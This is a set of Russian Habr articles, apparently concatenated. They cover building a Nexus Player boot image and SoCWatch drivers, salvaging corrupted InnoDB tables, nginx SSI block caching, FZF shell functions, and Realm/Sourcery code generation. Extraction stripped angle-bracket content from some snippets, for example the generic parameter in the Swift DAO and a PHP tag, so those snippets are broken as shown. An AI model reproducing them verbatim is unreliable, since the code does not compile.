**4.** Создадим загрузочный образ с предварительно собранным ядром. В случае с устройствами, построенными на платформе Intel, иногда, если перепрошивать только раздел ядра, можно потерпеть неудачу. Поэтому мы создадим загрузочный образ с только что построенным ядром, настроенным так, как нам нужно. Для этой цели мы можем поместить ядро внутрь дерева исходного кода Android и построить только загрузочный образ.
Для того чтобы собрать загрузочный образ, мы пользуемся средством для работы с образами [Android Image Kitchen](http://forum.xda-developers.com/showthread.php?t=2073775). Оно, в частности, позволяет распаковывать и упаковывать образы. Для начала загрузим заводской образ с портала [Google Developers](https://developers.google.com/android/nexus/images#volantislrx21l). После этого воспользуемся файлом unpackimg.bat для распаковки образа и заменим файл < INSTALLATION\_DIR\_PATH >\split\_img\boot.img-zImage на файл bzImage, который мы создали на предыдущем шаге. В завершение данного шага воспользуемся пакетным файлом repacking.bat для создания нового boot.img
Обратите внимание на то, что если устройство не может перезагрузиться после неудачной перепрошивки, оживить его можно следующим образом. Отключите кабель питания, немного подождите, подключите кабель, после чего нажмите и удерживайте аппаратную кнопку, которая расположена на нижней грани устройства. Nexus Player войдёт в режим fastboot. После этого воспользуйтесь скриптом flash-all.bat, который можно найти среди файлов, загруженных вместе с заводским образом с сайта Google Developers. Он перепрошьёт устройство и вернёт ему работоспособность.
**5.** Прошьём новый boot.img на устройство с помощью следующих команд:
```
adb reboot bootloader
fastboot flash boot boot.img
fastboot reboot
```
Теперь можно проверить версию ядра для того, чтобы понять, удалась ли перепрошивка. Если удалась, то можно собирать драйвер SoCWatch.
Сборка драйвера SoCWatch
------------------------
Исходный код драйвера входит в состав пакета SocWatch, который можно загрузить вместе с [Intel System Studio](https://software.intel.com/en-us/intel-system-studio). SoCWatch – это один из компонентов Intel System Studio. Для сборки драйвера воспользуемся такой последовательностью действий:
**1.** Выполним сборку socperf1\_2.ko с помощью скрипта для сборки драйвера в < INSTALLATION\_DIR\_PATH >\soc\_perf\_driver\src\
```
sh ./build-driver
```
**2.** Выполним сборку SOCWATCH1\_5.ko с помощью скрипта для сборки драйвера в < INSTALLATION\_DIR\_PATH >\socwatch\_driver\lxkernel\
```
sh ./build-driver –k -s
```
Настройка окружения SoCWatch
----------------------------
Можно запустить установочный файл (socwatch\_android\_install.bat) с помощью команды adb root после того, как на устройстве получены root-права. Однако, для того, чтобы эта команда успешно сработала, могут понадобиться некоторые дополнительные настройки. Поэтому мы рассмотрим здесь универсальную процедуру подготовки окружения SoCWatch, основанную на использовании команды su.
Для начала нужно перейти в папку SoCWatch и скопировать необходимые файлы на устройство. В нашем случае мы можем отправить эти файлы на SD-карту, а затем скопировать их в директорию /data/socwatch. Делается это так:
```
tools\os2unix.exe setup_socwatch_env.sh
tools\dos2unix.exe SOCWatchConfig.txt
adb push socwatch /sdcard/socwatch/
adb push setup_socwatch_env.sh /sdcard/socwatch/
adb push libs /sdcard/socwatch/libs/
adb push valleyview_soc /sdcard/socwatch/valleyview_soc/
adb push tangier_soc /sdcard/socwatch/tangier_soc/
adb push anniedale_soc /sdcard/socwatch/anniedale_soc/
adb push socperf1_2.ko /sdcard/socwatch/
adb push SOCWATCH1_5.ko /sdcard/socwatch/
adb shell
su
cp –r /sdcard/socwatch /data/
cd /data/socwatch
chmod 766 socwatch
```
Теперь вы можете, воспользовавшись [Руководством пользователя по SoCWatch](https://software.intel.com/sites/default/files/managed/aa/87/SoCWatchForAndroid_v1_5_1.pdf), приступить к сбору данных. Собрав данные, остаётся лишь загрузить полученные файлы с устройства на главный компьютер и приступить к анализу сведений о производительности и энергопотреблении Nexus Player.
*Сбор данных с помощью SoCWatch*
Итоги
-----
Если вы разрабатываете приложения, ориентированные на Nexus Player, то сейчас вы знаете, как сделать мир лучше. Достаточно проанализировать энергопотребление своих разработок с помощью Intel SoC Watch и исправить то, что «ест» неоправданно много электричества. | https://habr.com/ru/post/266843/ | null | ru | null |
# Восстанавливаем поврежденные таблицы Innodb
Предположим, вы работаете с MySQL таблицами Innodb, и в один ~~прекрасный~~ не самый хороший момент подводит глючное железо, драйвер, бажит ядро, отключается электричество или случается одна из редких ошибок в среде MySQL. На выходе получаем повреждение некоторых страниц в табличной области Innodb.
В одной из предыдущих статей, в комментариях, [нас спрашивали](http://habrahabr.ru/post/257291/?reply_to=8411309#comment_8411309), что можно сделать в такой ситуации. Мы постараемся ответить максимально лаконично и по делу.
Так вот, сейчас речь о ситуации вроде этой:
```
InnoDB: Database page corruption on disk or a failed
InnoDB: file read of page 7.
InnoDB: You may have to recover from a backup.
080703 23:46:16 InnoDB: Page dump in ascii and hex (16384 bytes):
… A LOT OF HEX AND BINARY DATA…
080703 23:46:16 InnoDB: Page checksum 587461377, prior-to-4.0.14-form checksum 772331632
InnoDB: stored checksum 2287785129, prior-to-4.0.14-form stored checksum 772331632
InnoDB: Page lsn 24 1487506025, low 4 bytes of lsn at page end 1487506025
InnoDB: Page number (if stored to page already) 7,
InnoDB: space id (if created with >= MySQL-4.1.1 and stored already) 6353
InnoDB: Page may be an index page where index id is 0 25556
InnoDB: (index “PRIMARY” of table “test”.”test”)
InnoDB: Database page corruption on disk or a failed
```
Что делать для восстановления таблицы? В принципе, типов повреждений может быть несколько, ниже мы рассмотрим один из наиболее распространенных моментов. А именно — когда повреждена страница в кластеризованном первичном ключе.
В примере рассматривается файл test.idb, где заменено несколько байтов, так что повреждение достаточно умеренное.
При этом операция CHECK TABLE в INNODB практически бесполезна. Для текущего поврежденного файла мы получаем:
```
mysql> check table test;
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> check table test;
+-----------+-------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+-----------+-------+----------+----------+
| test.test | check | status | OK |
+-----------+-------+----------+----------+
1 row in set (0.69 sec)
```
Первый запуск — проверка таблицы в обычном режиме, в этом случае innodb просто падает, если есть ошибка в контрольной сумме (даже, если мы выполняем CHECK). Во втором случае запускаем innodb\_force\_recovery=1. И даже здесь мы получаем в логах запись о несовпадении контрольной суммы, при этом CHECK TABLE говорит нам, что с таблицей все ок. Как видим, CHECK TABLE доверять можно далеко не всегда.
В примере «повреждение» совсем небольшое, поэтому, если запускаем innodb\_force\_recovery=1, получаем следующее:
```
mysql> CREATE TABLE `test2` (
-> `c` char(255) DEFAULT NULL,
-> `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
-> PRIMARY KEY (`id`)
-> ) ENGINE=MYISAM;
Query OK, 0 rows affected (0.03 sec)
mysql> insert into test2 select * from test;
Query OK, 229376 rows affected (0.91 sec)
Records: 229376 Duplicates: 0 Warnings: 0
```
Теперь мы получили все данные в таблице MyISAM, так что все, что остается сделать — дропнуть старую таблицу, и конвертировать новую в innodb после рестарта без опции innodb\_force\_recovery. Если старая таблица будет нужна в дальнейшем, ее можно просто переименовать. Вторая альтернатива — сделать дамп с MySQLDump и загрузить таблицу обратно. В принципе, это почти одно и то же. MyISAM используется по причине, описанной ниже.
Почему бы просто не воспользоваться OPTIMIZE TABLE? Все потому, что работа в режимер innodb\_force\_recovery проводится в режиме чтения для операций с данными, поэтому нельзя вставлять или стирать данные (при этом можно создавать или удалять таблицы Innodb):
```
mysql> optimize table test;
+-----------+----------+----------+----------------------------------+
| Table | Op | Msg_type | Msg_text |
+-----------+----------+----------+----------------------------------+
| test.test | optimize | error | Got error -1 from storage engine |
| test.test | optimize | status | Operation failed |
+-----------+----------+----------+----------------------------------+
2 rows in set, 2 warnings (0.09 sec)
```
Это было просто, правда?
После этого можно пойти еще дальше, и отредактировать наш файл **test.ibd**, полностью удалив один из заголовков страницы. Теперь CHECK TABLE будет падать даже при использовании **innodb\_force\_recovery=1**
```
080704 0:22:53 InnoDB: Assertion failure in thread 1158060352 in file btr/btr0btr.c line 3235
InnoDB: Failing assertion: page_get_n_recs(page) > 0 || (level == 0 && page_get_page_no(page) == dict_index_get_page(index))
InnoDB: We intentionally generate a memory trap.
InnoDB: Submit a detailed bug report to http://bugs.mysql.com.
InnoDB: If you get repeated assertion failures or crashes, even
```
Если мы видим нечто подобное, то innodb\_force\_recovery нам не поможет, поскольку работать с этим можно тлько в случаях повреждения данных в различных системных местах. Но в нашем случае это не помогает.
Получаем такую ошибку:
```
mysql> insert into test2 select * from test;
ERROR 2013 (HY000): Lost connection to MySQL server during query
```
Попытки использования автоматических процессов восстановления поврежденных данных не приводят к положительному результату. Поэтому стоит использовать серию команд с LIMIT для режима ручного восстановления:
```
mysql> insert ignore into test2 select * from test limit 10;
Query OK, 10 rows affected (0.00 sec)
Records: 10 Duplicates: 0 Warnings: 0
mysql> insert ignore into test2 select * from test limit 20;
Query OK, 10 rows affected (0.00 sec)
Records: 20 Duplicates: 10 Warnings: 0
mysql> insert ignore into test2 select * from test limit 100;
Query OK, 80 rows affected (0.00 sec)
Records: 100 Duplicates: 20 Warnings: 0
mysql> insert ignore into test2 select * from test limit 200;
Query OK, 100 rows affected (1.47 sec)
Records: 200 Duplicates: 100 Warnings: 0
mysql> insert ignore into test2 select * from test limit 300;
ERROR 2013 (HY000): Lost connection to MySQL server during query
```
Здесь строки из таблицы переводятся в новую таблицу, пока мы не добираемся до строки, которая и вызывает падение MySQL. Мы можем ожидать этого в строке между 200 и 300, так что стоит использовать серию схожих действий для решения проблемы.
Теперь мы обнаружили поврежденные данные в таблице, при этом стоит использовать max PK, и проверить иные значения:
```
mysql> select max(id) from test2;
+---------+
| max(id) |
+---------+
| 220 |
+---------+
1 row in set (0.00 sec)
mysql> insert ignore into test2 select * from test where id>250;
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> insert ignore into test2 select * from test where id>300;
Query OK, 573140 rows affected (7.79 sec)
Records: 573140 Duplicates: 0 Warnings: 0
```
Так, мы пробуем пропустить 30 строк, но это оказывается недостаточным. Пропускаем 80 строк, и теперь все хорошо. Используя «двоичный поиск» мы можем понять, сколько строк нужно пропустить, для восстановления максимального количества поврежденных данных. Размер строки при этом может помочь. Так, у нас есть 280 байт на строку, поэтому мы получаем около 50 строк на страницу. И здесь 30 строк недостаточно — если таблица страниц повреждена, нужно пропустить минимум всю страницу. Если повреждена страница на более высоком уровне BTREE, нужно пропустить больше страниц, для использования этого метода восстановления.
В некоторых случаях, например, когда повреждена root page для кластеризованного индекса, этот метод не будет нормально работать. В этом случае стоит использовать [Innodb Recovery Toolkit](http://code.google.com/p/innodb-tools/).
P.S. Принимаем заявки на статьи :) | https://habr.com/ru/post/257627/ | null | ru | null |
# Sourcery для автоматического конвертирования в структуры объектов Realm
В [интернете](https://realm.io/docs/swift/latest/), да и даже на [Хабре](https://habr.com/ru/post/272393/), есть куча статей о том, как работать с Realm. Эта база данных достаточно удобная и требует минимальных усилий для написания кода, если ей уметь пользоваться. В этой статье будет описан метод работы, к которому пришел я.
Проблемы
--------
#### Оптимизация кода
Очевидно, что каждый раз писать код инициализации объекта Realm и вызов одних и тех же функций для чтения и записи объектов- неудобно. Можно обернуть абстракцией.
Пример Data Access Object:
```
struct DAO {
func persist(with object: O) {
guard let realm = try? Realm() else { return }
try? realm.write { realm.add(object, update: .all) }
}
func read(by key: String) -> O? {
guard let realm = try? Realm() else { return [] }
return realm.object(ofType: O.self, forPrimaryKey: key)
}
}
```
Использование:
```
let yourObjectDAO = DAO()
let object = YourObject(key)
yourObjectDAO.persist(with: object)
let allPersisted = yourObjectDAO.read(by: key)
```
В DAO можно добавить много полезных методов например: для удаления, чтения всех объектов одного типа, сортировки и т.п.. Все они будут работать с любым из объектов Realm-а.
#### Accessed from incorrect thread
Realm — потокобезопасная база данных. Основное неудобство, которое из этого возникает — невозможность передать объект типа Realm.Object из одного потока в другой.
Код:
```
DispatchQueue.global(qos: .background).async {
let objects = yourObjectDAO.read(by: key)
DispatchQueue.main.sync {
print(objects)
}
}
```
Выдаст ошибку:
```
Terminating app due to uncaught exception 'RLMException', reason: 'Realm accessed from incorrect thread.'
```
Конечно, можно все время работать с объектом в одном потоке, но в реальности это создает определенные сложности, которые лучше обойти.
Для решения “удобно” конвертировать Realm.Object в структуры, которые будут спокойно передаваться между разными потоками.
Объек Realm:
```
final class BirdObj: Object {
@objc dynamic var id: String = ""
@objc dynamic var name: String = ""
override static func primaryKey() -> String? { return "id" }
}
```
Структура:
```
struct Bird {
var id: String
var name: String
}
```
Для конвертирования объектов в структуры будем использовать реализации протокола
Translator:
```
protocol Translator {
func toObject(with any: Any) -> Object
func toAny(with object: Object) -> Any
}
```
Для Bird она будет выглядеть так:
```
final class BirdTranslator: Translator {
func toObject(with any: Any) -> Object {
let any = any as! Bird
let object = BirdObj()
object.id = any.id
object.name = any.name
return object
}
func toAny(with object: Object) -> Any {
let object = object as! BirdObj
return Bird(id: object.id,
name: object.name)
}
}
```
Теперь остается немного поменять DAO для того, чтобы он принимал и возвращал структуры, а не объекты Realm.
```
struct DAO {
private let translator: Translator
init(translator: Translator) {
self.translator = translator
}
func persist(with any: Any) {
guard let realm = try? Realm() else { return }
let object = translator.toObject(with: any)
try? realm.write { realm.add(object, update: .all) }
}
func read(by key: String) -> Any? {
guard let realm = try? Realm() else { return nil }
if let object = realm.object(ofType: O.self, forPrimaryKey: key) {
return translator.toAny(with: object)
} else {
return nil
}
}
}
```
Проблема вроде решена. Теперь DAO будет возвращать структуру Bird, которую можно будет свободно перемещать между потоками.
```
let birdDAO = DAO(translator: BirdTranslator())
DispatchQueue.global(qos: .background).async {
let bird = birdDAO.read(by: key)
DispatchQueue.main.sync {
print(bird)
}
}
```
#### Огромное количество однотипного кода.
Решив проблему с передачей объектов между потоками, мы напоролись на новую. Даже в нашем простейшем случае, с классом из двух полей, нам нужно дополнительно написать 18 строк кода. А представьте, если полей не 2 а, к примеру 10, а некоторые из них не примитивные типы, а сущности, которые тоже нужно преобразовать. Все это порождает кучу строк однотипного кода. Тривиальное изменение структуры данных в базе, вынуждает вас лезть в три места.
Код на каждую сущность всегда, по своей сути, один и тот же. Различие в нем зависит только от полей структур.
Можно написать автогенерацию, которая будет парсить наши структуры выдавая Realm.Object и Translator для каждой. В этом может помочь [Sourcery](https://github.com/krzysztofzablocki/Sourcery). На хабре уже была статья про [Mocking](https://habr.com/ru/post/332120/) с его помощью.
Для того, чтобы на достаточном уровне освоить этот инструмент, мне хватило описания [template tags and filters](http://stencil.fuller.li/en/latest/builtins.html) [Stencils](https://github.com/stencilproject/Stencil) (на основе которого сделан Sourcery) и [докуметации самого Sourcery](https://cdn.rawgit.com/krzysztofzablocki/Sourcery/master/docs/index.html).
В нашем конкретном примере генерация Realm.Object может выглядеть так:
```
import Foundation
import RealmSwift
#1
{% for type in types.structs %}
#2
final class {{ type.name }}Obj: Object {
#3
{% for variable in type.storedVariables %}
{% if variable.typeName.name == "String" %}
@objc dynamic var {{variable.name}}: String = ""
{% endif %}
{% endfor %}
override static func primaryKey() -> String? { return "id" }
}
{% endfor %}
```
#1 — Проходим по всем структурам.
#2 — Для каждой создаем свой класс- наследник Object.
#3 — Для каждого поля, у которого название типа == String, создаем переменную с таким же названием и типом. Здесь можно добавить код, как для примитивов типа Int, Date, так и более сложных. Думаю суть ясна.
Аналогично выглядит и код для генерации Translator
```
{% for type in types.structs %}
final class {{ type.name }}Translator: Translator {
func toObject(with entity: Any) -> Object {
let entity = entity as! {{ type.name }}
let object = {{ type.name }}Obj()
{% for variable in type.storedVariables %}
object.{{variable.name}} = entity.{{variable.name}}
{% endfor %}
return object
}
func toAny(with object: Object) -> Any {
let object = object as! {{ type.name }}Obj
return Bird(
{% for variable in type.storedVariables %}
{{variable.name}}: object.{{variable.name}}{%if not forloop.last%},{%endif%}
{% endfor %}
)
}
}
{% endfor %}
```
Лучше всего устанавливать Sourcery через менеджер зависимостей, с указанием версии, чтобы то, что вы напишите, работало у всех одинаково и не ломалось.
После установки нам остается написать одну строку bash кода для его запуска в BuildPhase проекта. Генерировать он должен перед тем, как начнут компилироваться файлы вашего проекта.
Заключение
----------
Приведенный мной пример был изрядно упрощен. Понятно, что в больших проектах файлы типа .stencil будут гораздо больше. В моем проекте они занимают чуть меньше 200 строк, при этом генерируя 4000 и добавляя, ко всему прочему, возможность полиморфизма в Realm.
В целом с задержками из-за конвертирования одних объектов в другие я не сталкивался.
Буду рад любым отзывам и критике.
Ссылки
------
[Realm Swift](https://realm.io/docs/swift/latest/)
[Sourcery GitHub](https://github.com/krzysztofzablocki/Sourcery)
[Sourcery Documentation](https://cdn.rawgit.com/krzysztofzablocki/Sourcery/master/docs/index.html)
[Stencil built-in template tags and filters](http://stencil.fuller.li/en/latest/builtins.html#built-in-template-tags-and-filters)
[Mocking в swift при помощи Sourcery](https://habr.com/ru/post/332120/)
[Создание приложения ToDo с помощью Realm и Swift](https://habr.com/ru/post/272393/) | https://habr.com/ru/post/460867/ | null | ru | null |
# Кеширование блоков с помощью nginx
[](http://linux.ria.ua/SsiBlocks/src/bin/index.php)Многим разработчикам знакома ситуация когда кешировать страницы сайта, скажем, на 5-10 минут нельзя всего из-за одного небольшого блочка, актуальность которого нужно поддерживать если не в реальном времени, то с временем «старения» не больше 5-10 секунд. При этом посещаемость сайта продолжает расти, растет время генерации страниц и c этим надо что-то делать…* **Вариант решения 1:** *Подкрутить то, до чего не доходили руки последнее полгода. Все Вас поймут и передвинут сроки на другие задачи. Вы будете в роли «Супермена» один спасать сайт от непомерной нагрузки, решая проблему «бесплатно» (без доп. вливаний в оборудование). Вам может пригодиться статья [«Тюнинг nginx»](http://habrahabr.ru/blogs/nginx/56497/)*.
* **Вариант решения 2:** *Улучшить техническую базу (докупить мозгов на сервер, улучшить дисковую систему, поставить под БД отдельный сервер). В принципе проблема не решена, а скорее отложена. Теперь у Вас есть время «окопаться» и подготовиться ко второй волне наплыва нагрузки, она будет больше и накроет сильнее.*
* **Вариант решения 3:** *Ваш вариант, о котором я, вероятно, узнаю из комментариев.*
Позвольте предложить и мне проверенное и относительно простое решение на базе одной из старейших технологий в Web-разработке.
Как это должно работать
-----------------------
Cайт всегда можно разбить на некоторое число независимых блоков, генерацией которых может заниматься (при необходимости) разные сервера.
При этом сборкой блоков в единое целое занимается некий «сборщик» и если любой из блоков по какой-то причине не создан за отведенное ему время, то это еще не повод выдавать клиенту «Gateway timeout» или «Internal Server Error». Можно собрать успешно созданные блоки, а на месте «сбойных» показывать устаревший контент из кеша.
Для реализации такой модели нам понадобиться технология-ветеран Web-разработки: [ssi](http://sysoev.ru/nginx/docs/http/ngx_http_ssi_module.html). В качестве «сборщика», как ясно из названия статьи, выступает [nginx](http://sysoev.ru/nginx/). «Чудеса» станут возможны благодаря модулю [fastcgi\_cache](http://sysoev.ru/nginx/docs/http/ngx_http_fastcgi_module.html).
Итак, поехали:
Исключаем лишнее звено
----------------------
Нам не пригодиться apache, наличие которого, как правило объясняется использованием RewriteRules. [В nginx есть аналог mod\_rewrite](http://sysoev.ru/nginx/docs/http/ngx_http_rewrite_module.html) или [комбинация location/alias с регулярными выражениями](http://sysoev.ru/nginx/docs/http/ngx_http_core_module.html#alias), возможности которых позволяют написать аналог любому RewriteRule от apache. Кроме того в современных фреймворках разбором входного URL может заниматься сам движек (например [Zend\_Controller\_Router\_Rewrite](http://framework.zend.com/manual/ru/zend.controller.router.html) в [Zend Framework](http://framework.zend.com/))
В качестве fastcgi-бекенда может использоваться любая платформа. Примеры будут на php, но это не означает что нельзя написать аналогичный код на python-е или perl-е.
Запускаем php в режиме fastcgi:
`# /bin/su -m www_user -c "PHP_FCGI_CHILDREN=8 /usr/bin/php-cgi -q -b 127.0.0.1:7777 &"`
Можно еще прописать путь к лог-файлу в php.ini (error\_log = /var/log/fastcgi/fastcgi.log), но при этом придется перезагружать php-cgi.
Делаем:
`# killall php-cgi`
и запускаем все по-новой
Более продвинутый вариант запуска fastcgi — установка [php-fpm](http://php-fpm.org/).
Устанавливаем nginx
-------------------
Можно ставить стандартный из репозитория/портов… Но если хотите чтоб работала возможность «почистить» любой файл в кеше, придется компилировать.
Нам понадобиться модуль: [ngx\_cache\_purge](http://labs.frickle.com/nginx_ngx_cache_purge/)
Я подробно опишу, как это можно сделать для redhat-подобной системы, а вы уж по аналогии компилируйте под вашу систему.
```
# cd ~/rpmbuild/SRPMS
# yumdownloader --source nginx
# rpm -ivh nginx-0.7.65-1.fc12.src.rpm
```
редактируем файл nginx.spec, где-нибудь в список **./configure** вставляем строчку**--add-module=/root/rpmbuild/BUILD/ngx\_cache\_purge-1.0 \**. Тут же можно удалить строчки с ненужными модулями (например --with-ipv6 \, --with-http\_dav\_module \, --with-mail \, --with-mail\_ssl\_module \ ...)
теперь распаковываем содержимое <http://labs.frickle.com/files/ngx_cache_purge-1.0.tar.gz> в папку **/root/rpmbuild/BUILD/ngx\_cache\_purge-1.0**.
Все можно компилировать:
```
# cd ~/rpmbuild/SRPMS
# rpmbuild -ba nginx.spec
```
Это не совсем красивый способ, т.к. полученный в результате .src.rpm не будет содержать файла с модулем ngx\_cache\_purge. Если для вас, все же, это критично, то здесь можете [загрузить «правильный» вариант nginx .src.rpm](http://linux.ria.ua/SRPMS/nginx/) для ветки 8.xx. Правда я часть ненужных мне модулей закомментировал.
Устанавливаем пересобранный nginx на наш сервер:
# rpm -ivh nginx-0.7.65-1.fc12.x86\_64.rpm
Настройка nginx для проекта на php
----------------------------------
В файл **/etc/hosts** (добавляем):
```
# Virtual hosts
127.0.0.1 myproject
```
В основном конфиге **/etc/nginx/nginx.conf** в секцию http добавляем:
```
fastcgi_cache_path /var/spool/nginx/cache levels=1:2 keys_zone=mycache:64m;
include /etc/nginx/conf.d/*.conf;
```
(Не забудьте создать папку /var/spool/nginx/cache и установить для нее пользователя, под которым запускается nginx)
В папке **/etc/nginx/conf.d**/ создаем конфиги для виртуальных хостов
Пример кофига (**/etc/nginx/conf.d/myproject.conf**):
```
server {
listen 80;
server_name myproject;
root /var/www/myproject/public;
ssi on;
# Включаем кеш если есть такая необходимость
fastcgi_cache mycache;
fastcgi_cache_min_uses 1;
# Время кеширования равно нулю. кеш включен но кеширования нет
# Время кеширования для конкретных страниц указиваем в заголовке "Cache-Control"
fastcgi_cache_valid 200 0m;
fastcgi_cache_valid 404 1m;
fastcgi_cache_valid 500 0m;
fastcgi_cache_use_stale updating error timeout invalid_header http_500; # Используем вариант из кеша (даже если он устарел) в случае ошибки
fastcgi_cache_key $uri$is_args$args;
# Раскоментируйте эту секцию если nginx собран с модулем ngx_cache_purge
# location ~ ^/purge(/.*) {
# fastcgi_cache_purge mycache $1$is_args$args;
# }
location ~ /(img|css|js|assets) {
# access_log off;
access_log /var/log/nginx/myproject_img_access.log main;
expires 1h;
}
location / {
access_log /var/log/nginx/myproject_main_access.log main;
error_log /var/log/nginx/myproject_error.log;
fastcgi_pass 127.0.0.1:7777;
fastcgi_index index.php;
include fastcgi.conf;
}
}
```
Устанавливаем тестовый проект на php в **/var/www/myproject**. [Исходный код примера можно посмотреть и скачать здесь](http://linux.ria.ua/SsiBlocks/).
Запускаем nginx. Для RedHat-подобных систем это выглядит приблизительно так:
```
# service nginx start
```
Все, система готова к работе! Пробуем запустить **http://myproject/**
Учим backend управлять временем кеширования
-------------------------------------------
Дело в том, что в nginx время кеширования указывается в параметре fastcgi\_cache\_valid 200 0m; и распространяется на все страницы, в которых заголовком оно не переопределено.
В конфиге «по умолчанию» время кеширования я указал равным 0, т.е. кеширование отключено. Но если бекенд сгенерирует заголовок приблизительно такого вида:
```
Cache-Control: public, max-age=20
```
либо
```
Expires: Thu, 18 Mar 2010 20:57:07 GMT
```
То страница nginx-ом будет закеширована на 20 секунд. В php заголовок можно поменять с помощью функции header() *(Со слов автора nginx самым приоритетным является «X-Accel-Cache-Control», потом «Cache-Control», потом «Expires»)*.
Напишем небольшую функцию. котрая будет управлять временем кеширования:
```
function cacheHeaders($lifetime=0) {
# $date = gmdate("D, d M Y H:i:s", time() + $lifetime);
# header('Expires: ' . $date . ' GMT');
header('Cache-Control: public, max-age=' . $lifetime);
}
```
Мастерим блоки
--------------
Блоком будем называть любую логически выделенную часть html-кода без стандартных заголовков html-старницы, например:
```
Это простой блок
```
Чтоб визуально контролировать состояние свежести каждого из блоков добавим код, наших тестовых блоков вывод времени.
```
php echo date('G:i:s')?
```
[Смотрим рабочий пример с использованием SSI блоков.](http://linux.ria.ua/SsiBlocks/src/bin/index.php)
Удаляем страницы из кеша
------------------------
К сожалению у nginx-а пока что нету родного (штатного) способа удаления страничек из кеша. Иногда это может создавать неудобства.
Если вы добавили при компиляции модуль ngx\_cache\_purge, то в конфиг (/etc/nginx/conf.d/myproject.conf) добавим приблизительно такую секцию, перед секцией «location / {...» :
```
location ~ ^/purge(/.*) {
#allow 127.0.0.1;
#allow 10.1.1.0/24;
#deny all;
fastcgi_cache_purge mycache $1$is_args$args;
}
```
Для того чтоб удалить закешированную страницу: http://myproject/mypage.php?lang=ru, мне достаточно загрузить страницу http://myproject/purge/mypage.php?lang=ru
В php это можно сделать командой file\_get\_contents(«http://myproject/purge/mypage.php?lang=ru»);
С помощью директив **allow** и **deny** можно ограничить круг хостов с которых можно «чистить» кеш.
Тестируем
---------
Напоминаю, ссылка для тестов <http://linux.ria.ua/SsiBlocks/src/bin/index.php>.
Обратите внимание, «каркас» страницы обновляется раз в 10 секунд, остальные блоки обновляются согласно примечаниям под временем создания блока.
Самый большой интерес, на мой взгляд, представляет «Збойный блок». Если вы введете его в режим имитации сбоя, вы все равно будете видеть «несбойную» версию этого блока пока не очистите кеш.
Кроме того, помните, что вы не одни сейчас проводите эксперименты с этой страничкой, если хотите поэкспериментировать — самостоятельно настройте [локальную копию примера](http://linux.ria.ua/SsiBlocks/download/).
Делаем выводы
-------------
Даже если такой подход покажется Вам примитивным, и функциональность его сильно ограниченной, обратите внимание на то, что это работает не просто быстро, а очень быстро!
Узким местом может быть только дисковая система, если кеш «распухнет» до больших размеров и не будет помещаться в дисковый кеш.
*PS: Если эта статья будет интересна читателям, я планирую написать вторую часть о применении описанного подхода к кешированию блоков на Zend Framework.* | https://habr.com/ru/post/95613/ | null | ru | null |
# FZF. Нечеткий поиск или как быстро ставить npm пакеты и убивать процессы
Я работаю в MacOS, почти не использую Finder и все время провожу в консоли. Именно поэтому стараюсь сделать работу из консоли как можно более удобной.
Относительно недавно мне на глаза попалась утилита [FZF](https://github.com/junegunn/fzf). И уже через неделю стала незаменимой.
FZF представляет возможность нечеткого поиска в стиле UNIX: умеет быстро и относительно хорошо искать по строкам, которые передали ей на вход, и интегрироваться с другими моими любимыми программами.
Я с удивлением обнаружил, что об этой программе нет ни одной статьи на хабре, кроме некоторых упоминаний [вскользь](https://habrahabr.ru/post/323496/). Я решил восполнить этот пробел. Если вы уже знаете о FZF, то статья скорее всего покажется вам неинформативной, а всем остальным добро пожаловать
Переключение на нужную ветку в git
----------------------------------
У нас в [Wrike](http://wrike.com) под каждую задачу должна быть создана своя ветка. В имени ветки в том числе есть номер тикета. Хочешь переключиться — помни название и номер. Или ищи. Ищу я примерно так:
```
git branch -a | grep слово_из_названия_ветки
```
Только вместо grep использую ripgrep
```
git branch -a | rg слово_из_названия_ветки
```
Но каждый раз набирать эту длинную команду лень. Да и вместо angular у меня часто получается agnular. Короче, одно расстройство. Поэтому достаточно в .zshrc или .bashrc прописать простенькую функцию (взята из документации).
```
fbr() {
local branches branch
branches=$(git branch --all | grep -v HEAD) &&
branch=$(echo "$branches" |
fzf-tmux -d $(( 2 + $(wc -l <<< "$branches") )) +m) &&
git checkout $(echo "$branch" | sed "s/.* //" | sed "s#remotes/[^/]*/##")
}
```
И теперь можно поискать по всем веткам. Выглядит это следующим образом:
Убить процесс
-------------
Примерно так же можно убить зависший процесс. Только функция теперь будет называться fkill
```
fkill() {
local pid
pid=$(ps -ef | sed 1d | fzf -m | awk '{print $2}')
if [ "x$pid" != "x" ]
then
echo $pid | xargs kill -${1:-9}
fi
}
```
Установка нужного npm пакета
----------------------------
FZF поддерживает множественный выбор. То есть при помощи кнопки Tab можно выбирать строку а по Enter отправлять все выбранное на вывод (если, конечно, запустить FZF с флагом -m).
Я использую пакет all-the-package-names, чтобы загружать все имена пакетов, которые есть в официальном регистре пакетов npm:
```
npm -g i all-the-package-names
```
Дальше пишу совсем простую функцию:
```
fnpm() {
local packages
packages=$(all-the-package-names | fzf -m) &&
echo "$packages" &&
npm i $(echo $packages)
}
```
И все. Теперь можно делать как-то так:
Другие примеры
--------------
Очень много полезных примеров есть в [документации](https://github.com/junegunn/fzf/wiki/examples).
Альтернативы
------------
На просторах github я нашел еще две утилиты, которые делают примерно то же самое:
[GitHub — jhawthorn/fzy: A better fuzzy finder](https://github.com/jhawthorn/fzy)
[GitHub — calleerlandsson/pick: A fuzzy search tool for the command-line](https://github.com/calleerlandsson/pick)
Вместо вывода
-------------
Если вы съели собаку в написании скриптов под Bash или Zsh, то статья скорее всего покажется вам наивной. Возможно, вы даже знаете, как улучшить примеры, которые я привел. А может, уже давно используете FZF у себя, и вам есть что сказать.
Если так, то пишите в комментариях и я обязательно обновлю и дополню статью вашими примерами и замечаниями. | https://habr.com/ru/post/344770/ | null | ru | null |
# Унификация правил валидации на примере Asp core + VueJS
*В статье описывается простой способ унификации правил валидации пользовательского ввода клиент-серверного приложеия. На примере простого проекта, я покажу как это можно сделать, с использованием Asp net core и Vue js.*
Разрабатывая веб приложения, мы как правило сталкаваемся с задачей двойной валидации данных, вводимых пользователем. С одной стороны, пользовательский ввод необходимо валидировать на клиенте, чтобы сократить избыточные запросы к серверу и ускорить саму валидацию для пользователя. С другой стороны, говоря о валидации, сервер не может принимать "на веру" то, что клиентская валидация действительно отработала перед отправкой запроса, т.к. пользователь мог отключить либо модифицировать валидационный код. Или вообще осуществить запрос из API клиента вручную.
